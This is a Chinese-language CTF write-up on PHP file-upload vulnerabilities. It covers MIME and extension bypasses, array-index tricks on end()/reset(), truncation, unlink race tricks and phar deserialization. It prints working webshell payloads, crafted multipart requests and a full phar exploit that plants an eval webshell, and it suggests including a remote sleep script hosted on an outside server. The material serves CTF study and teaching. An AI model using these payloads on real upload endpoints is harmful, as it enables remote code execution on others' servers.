對檔案上傳的一些思考和總結
前言
最近在 ctf 比賽中考察到了很多關於檔案上傳的知識點,然而檔案上傳這塊知識掌握的不是很好。所以這裡總結一下近期 ctf 比賽中遇到的檔案上傳題目的知識考點和常見思路,並且給出相應的例題。
簡單的總結一下常見的思路,再根據自己的經驗簡單列出近些比賽中的一些上傳題的套路。
檔案上傳的本質
檔案上傳還是歸根結底是客戶端的 POST 請求,訊息主體就是一些上傳資訊。前端上傳頁面需要指定 enctype 為 multipart/form-data 或者 Multipart/form-data 才能正常上傳檔案。
<form action='' enctype='multipart/form-data' method='POST'> <input type='file' name='file'> </form>
multipart 格式的資料會將一個表單拆分為多個部分(part),每個部分對應一個輸入域。在一般的表單輸入域中,
它所對應的部分中會放置文字型資料,但是如果上傳檔案的話,它所對應的部分可以是二進位制,下面展現了 multipart 的請求體:
filename 欄位是必要的,指定了上傳時的那個檔案的檔名。其他的可有可無
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="text" title ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="file"; filename="chrome.png" Content-Type: image/png PNG ... content of chrome.png ... ------WebKitFormBoundaryrGKCBY7qhFd3TrwA--
這裡在每個欄位之間使用 ———WebKitFormBoundaryxxx 隔開,boundary是一個字串,用來切分資料。
這裡就和 post 請求一樣,可以自己增加引數,就形如下面這樣,將引數名放到 name 裡,引數值放到下面:
------WebKitFormBoundary1PkqXeou9aUAIMHr Content-Disposition: form-data; name="filename" 1.php
那麼這裡就增加了一個引數 filename = ‘1.php’
基本上傳思路的回顧
在滲透測試或者 ctf 過程中,遇到檔案上傳常見的思路無非是嘗試繞過一些限制直接上傳 shell (指令碼檔案),最基本的繞過方法有以下幾種:
前端繞過
這裡很基礎了,直接繞過前端的 js 判斷就行了。
這裡舉個例子,某某門戶系統:
在後臺頁面定製處,可以插入背景圖片,如果直接插入 shell 就會提示不允許上傳。那麼這裡可以先上傳一個 gif 檔案,抓包,改字尾名再發包就可以繞過。
這只是最簡單的前端驗證繞過,當然這裡還可以在 f12 裡直接去掉前端 js 驗證。
MIME(Multipurpose Internet Mail Extensions)多用途網際網路郵件擴充套件型別。是設定某種副檔名的檔案用一種應用程式來開啟的方式型別。
即在傳輸過程中標記檔案型別的一種方法,也就是 HTTP 檔案請求頭中的 Content-Type 。
簡單的上傳情況一般是單獨驗證這個欄位值或者有時配合檔案字尾名進行驗證的。
這裡再舉一個 SUCTF 招新賽的一個例子。題目只有一個上傳頁面,解決這種題目最簡單粗暴的方法就是直接將 Content-Type 和字尾名進行組合來爆破。
選擇兩個變數,選擇 Cluster bomb 模式,跑一下就出結果了
- 這題的 “<?php ?>” 被過濾了,可以使用下面的 payload 進行簡單的繞過
<script language="php"> <a title="@system" href="https://github.com/system">@system</a>($_GET['c']); </script>
大寫 Multipart
即將請求頭中的 Content-Type 的 multipart/form-data 第一個字元 m 改成 M,即 Multipart/form-data(不影響傳輸)
這裡的例子是 bugku 的”求getshell”,同樣只有一個上傳介面:
burp 抓包,使用上面爆破的方法無效,最後發現是將 multipart 改成 Multipart…這樣就成功繞過了
其實這題有點腦洞了。。不過沒關係,這裡的重點不是這個。
字尾名構造
構造陣列繞過
最近碰到的兩道題,一道是網鼎杯第二場的 wafUpload,一道是上海網安賽的 web3。這兩道考點都很類似。但是還是有一些小的差異,我們一道一道來看。
先看一下 wafUpload 這道題:
<?php #$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']); $sandbox = ''; #@mkdir($sandbox); #@chdir($sandbox); if (!empty($_FILES['file'])) { #mime check if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) { die('This type is not allowed!'); }else{ echo "pass 1n"; } #check filename $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); if (!in_array($ext, ['jpg', 'png', 'gif'])) { die('This file is not allowed!'); }else{ echo "pass 2n"; } $filename = reset($file) . '.' . $file[count($file) - 1]; if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) { echo 'Success!'; echo 'filepath:' . $sandbox . '/' . $filename; } else { echo 'Failed!'; } } show_source(__file__); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Upload Your Shell</title> </head> <body> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="text" name="filename"><br> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
審計原始碼可以知道,程式碼中用 end 函式取到上傳檔案的字尾並判斷,用 reset 函式返回的值作為檔名
根據題目,需要繞過兩層判斷。
1.第一層,直接抓包修改 MIME 為 image/png 就行了。
2.第二層,構造 filename 欄位為陣列
仔細看 html 程式碼中提供了一個 filename 欄位,在下面這句程式碼的判斷中,會先檢視是否有直接 post 提交的 filename 欄位,如果有的話就使用這個欄位的值(這個就有點類似提示的作用)
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
在本地復現一下,抓包之後看看:
抓包重放之後,如果這裡 filename 欄位我們填上 shell.php ,根據上面的那句程式碼的判斷
$file = 'shell.php'
如果沒有在 filename 欄位中填入 shell.php 的話,那麼
$file = '1.php'
若直接是這樣的話,在下面的幾句判斷中就無法通過
if (!in_array($ext, ['jpg', 'png', 'gif']))
所以這裡想要繞過他的判斷直接上傳 php 檔案的話,只能構造 filename 為陣列,通過 end 函式的缺陷來繞過下面的的條件判斷。
那麼這個 end 函式的缺陷在哪呢?
看下面的這個例子:
<?php $arr = array(); $arr[0] = 'first'; $arr[1] = 'second'; $arr[2] = 'third'; var_dump($arr); echo "the result of reset: ".reset($arr)."n"; echo "the result of end: ".end($arr); ?>
其實 end 函式原本的作用就是返回陣列的最後一個元素,在上面看的是正常的。但是如果我們這裡把對陣列賦值的順序換一下(先給 arr[2] 賦值),可以看到結果就變了。
總結一下就是 end 函式取到的是給陣列的最後一次賦值的那個值,繼續嘗試會發現 reset 函式也是一樣,第一個給陣列賦值的值就是 reset 函式返回的值
- 例如先給 $arr[2] 賦值,那麼 reset 函式返回的就是 $arr[2] 的值
所以這裡我們就可以構造 payload 了。
這裡的 end 函式取到了第二個給陣列賦值的值,也就是 filename[0] ,reset 函式的值為 filename[1]。這邊構造
filename[1] = php filename[0] = png
在後面拼接 $filename 時候,再一次拼接到字尾名,即
$filename = reset($file) . '.' . $file[count($file) - 1];
這裡的
$file[count($file) - 1]
一定是取到 filename[1],所以上面給 filename[1] 賦值為 php 的意義就在這裡。
最後拼接出了 php.php,就達到了上傳 shell 的目的。
上海網安賽 web3
字尾名構造繞過判斷
題目就是一個簡單的上傳邏輯。
<?php error_reporting(0); //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']); //$dir=md5("icq"); //$sandbox = '/sandbox/' . $dir; //@mkdir($sandbox); //@chdir($sandbox); if($_FILES['file']['name']){ $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; if (!is_array($filename)) { $filename = explode('.', $filename); } $ext = end($filename); var_dump($ext); if($ext==$filename[count($filename) - 1]){ die("emmmm..."); } var_dump($filename); $new_name = (string)rand(100,999).".".$ext; move_uploaded_file($_FILES['file']['tmp_name'],$new_name); $_ = $_POST['hehe']; if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){ include($_); } unlink($new_name); } else{ highlight_file(__FILE__); } ?> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </form>
可以看到前半段的程式碼和前面一道是很相似的,都用了 end 函式來處理檔案的字尾名。但是這裡沒有進行圖片字尾的判斷,而是進行下面的判斷:
if($ext==$filename[count($filename) - 1]){ die("emmmm..."); }
而根據 $filename 的來源
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name']; $ext = end($filename);
我們也可以類似的構造 $_POST[‘file’] ,也就是自己插入一個欄位 file :
------WebKitFormBoundarywrXtm4qsIjhjlklR Content-Disposition: form-data; name="file[2]" 2.php ------WebKitFormBoundarywrXtm4qsIjhjlklR Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/x-php GIF89a<?=eval($_POST['1']);
若我們只傳入一個 file[2] = '2.php', 即 $filename[2] = '2.php', 那麼 $ext = '2.php', $filename[count($filename) - 1] = $filename[0]
因為我們只構造 filename[2],所以 $filename[0] 為空,兩者不相等所以就繞過了上面字尾名的判斷。
unlink 繞過
題目後面的程式碼邏輯是將前面的檔案上傳到伺服器上,之後再用 post 方法接受一個引數作為檔案,之後再包含這個檔案。
看到上傳文後再 unlink,第一時間想到的肯定是條件競爭的方法。但是對於這道題目,還有很多種方法。
1./. 符號繞過
2.目錄穿越(把檔案上傳到想上傳的地方,然後再包含相應的檔案即可)
3.php7檔案包含漏洞,PHP7中如果include(‘php://filter/string.strip_tags/resource=/etc/passwd’),就會引起PHP程式直接崩潰,因而就不會進行到下面的unlink。然後就可以對上傳的檔案進行爆破。
還有一種比較巧妙的是 post 的的 hehe 值為 vps 上的一個 php 指令碼,這個指令碼只需要 sleep 就行了。
$_ = http://xx.xx.xx.xx/sleep.php
這樣就在 unlink 之前預留下了給我們爆破出原來上傳的檔案的時間
截斷繞過
00 截斷
最常見的截斷繞或要數 00 截斷了,但是這種情況有很大的侷限性,只有在 PHP 版本小於5.3.4 且 magic_quotes_gpc=Off時,否則 %00 這種空字元會被轉義為
-
不過在有的 ctf 題目中也經常會用到 00 截斷這種技巧:
如 SUCTF 招新賽中的 Php is No.1,使用 %00 進行截斷的話,就很容易跳過三個判斷
同樣這個比賽中的一道注入題 ClassicSqli,也用到 00 截斷來達到註釋語句的作用。
關於截斷的一些小總結,可以看筆者的 ofollow,noindex" target="_blank">筆記 :
ascii 特殊字元包含
這裡的例子是上海網安賽的 web4 ,參考了 sn00py 師傅的 wp
這道題先是前臺 sql 注入拿到 admin 的密碼之後,登入後臺會發現有上傳點
這裡的上傳有兩個重要的引數,一個是檔案目錄(uploaddir),一個是檔名(filename)
上傳之後會對 uploaddir 和 filename 直接進行拼接,然後直接加上 .txt 字尾。沒辦法從正面直接繞過,00 截斷也是無效的,這裡就嘗試用 0x00~0xff 之內的 ascii 字元來截斷。
burp 中傳送資料包到 intruder 模組,將範圍控制在 0~255 之間
用 intuder 模組的 payload 進行處理,先加上 % ,再進行 urldecode
在 0x02 時可以截斷成功
檔案包含和檔案上傳的配合的情況
一般這類題目有共同的利用條件:
利用條件:無法直接上傳 shell,只能上傳圖片,存在檔案包含
phar 兩種用法
phar 是 php 中的一種歸檔壓縮檔案,類似 zip 。可以使用 phar:// 協議來訪問壓縮後的檔案
PHP5.3之後支援了類似Java的jar包,名為phar。用來將多個PHP檔案打包為一個檔案。
後面的兩種用法都用一個 SUCTF 招新賽的例子來說明:
點開題目發現只有一個上傳點,且只能上傳 png、jpg、gif 檔案,無法繞過後綴上傳 shell
正常用法
第一種方法就是他的常規用法了,將 php 檔案壓縮成 zip 檔案,zip 檔案改字尾為 png 之後
例如將下面的程式碼放在 1.php 中,壓縮成 1.zip 並改名 1.png後上傳
<?=eval($_POST['1']);?> <?php eval($_POST['1']);?> <script language='php'> eval($_POST['1']); </script>
上傳檔案之後在右鍵 -> 原始碼中可以看到上傳的地址,複製出來並用 phar:// 協議進行訪問
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/5eac5f7bd6358e10ff53dec9f3bb8690/4a47a0db6e60853dedfcfdf08a5ca249.png/1.php
在 f12 中可以看到很多符號都被過濾了,這裡嘗試了也沒法直接繞過
後來發現 set-cookie 中給了提示:
Set-Cookie: hint=cGxlYXNlIHJlYWQgcmVjZW50IHBhcGVycyBhYm91dCBwaGFy --> please read recent papers about phar
於是這裡想到了phar 的反序列化漏洞,貌似這個操作在 hitcon2017 的 Baby^H-master-php-2017 中就出現了,但是那個實在太難了…
phar 反序列化漏洞
具體的原理這裡也不說了,大概的用法可以看下面的這兩篇文章:
https://blog.csdn.net/xiaorouji/article/details/83118619
https://cloud.tencent.com/developer/article/1350367
直接放官方的 exp 吧:
<?php class PicManager{ private $current_dir; private $whitelist=['jpg','png','gif']; private $logfile='request.log'; private $actions=[]; public function __construct($dir){ $this->current_dir=$dir; if(!is_dir($dir))@mkdir($dir); } private function _log($message){ array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message); } public function pics(){ log('list pics'); $pics=[]; foreach(scandir($dir) as $item){ if(in_array(substr($item,-4),$whitelist)) array_push($pics,$current_dir."/".$item); } return $pics; } public function upload_pic(){ _log('upload pic'); $file=$_FILES['file']['name']; if(!in_array(substr($file,-4),$this->whitelist)){ _log('unsafe deal:upload filename '.$file); return; } $newname=md5($file).substr($file,-4); move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.$newname); } public function get_pic($picname){ _log('get pic'.$picname); if(!file_exists($picname)) return ''; else return file_get_contents($picname); } public function __destruct(){ $fp=fopen($this->current_dir.'/'.$this->logfile,"a+"); foreach($this->actions as $act){ fwrite($fp,$act."n"); } fclose($fp); } public function gen(){ @rmdir($this->current_dir); $this->current_dir="/var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/"; //md5($_SERVER['REMOTE_ADDR']) $this->logfile='H4lo.php'; $this->actions=['<?php eval($_REQUEST[p]);']; @unlink('phar.phar'); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭用以欺騙檢測 $phar->setMetadata($this); //將自定義meta-data存入manifest $phar->addFromString("test.txt", "test"); //新增要壓縮的檔案 //簽名自動計算 $phar->stopBuffering(); } } $pic=new PicManager('/var/www/html/sandbox'); $pic->gen();
執行 php 指令碼會在當前目錄下生成 phar.phar 檔案(需要在 php.ini 中將 phar.readonly 設定為 Off)
接著將 phar.phar 重新命名為 phar.gif ,上傳之後同樣複製出地址,利用 phar 協議包含檔案以後,就會觸發反序列化漏洞,將我們前面 exp 中的程式碼執行(生成 H4lo.php)。
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/a6bfb20ba19df73fcceb438f5f75948f/1b33718042e7dfe8fac079be96ebc4d9.gif
- 這裡只需要 phar://xxx.gif 的形式就好了,因為這是一個 phar 物件檔案,不是一個壓縮包
訪問一下,這樣就得到 flag 了:
PHP 自包含特性
這個技巧可以看我之前的寫過的一篇文章,也是來源於一道 ctf (百度杯 nlog 進階版)
這個自包含和下面的反序列化上傳的姿勢,都是需要自己構造檔案上傳頁面,感覺腦洞還是挺大了,稍微瞭解一下就好了
反序列化上傳
這個也是來源於一道 ctf(jarvisoj phpinfo),題目地址
http://web.jarvisoj.com:32784/
附上詳細的解答:
https://blog.csdn.net/wy_97/article/details/78430690
簡而言之,就是自己構造一個上傳介面,將 file 欄位的 filename 定義為反序列化的字串,伺服器處理的時候就會觸發這個漏洞。
<!DOCTYPE html> <html> <head> <title>test XXE</title> <meta charset="utf-8"> </head> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!-- 不對字元編碼--> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" value="go" /> </form> </body> </html>
總結
在近些比賽中將檔案上傳和檔案包含結合起來,作為考點進行考察的題目還是蠻多的。在比賽中多總結一下姿勢還是挺有幫助的,無論是在今後的 ctf 比賽中還是實戰的漏洞挖掘。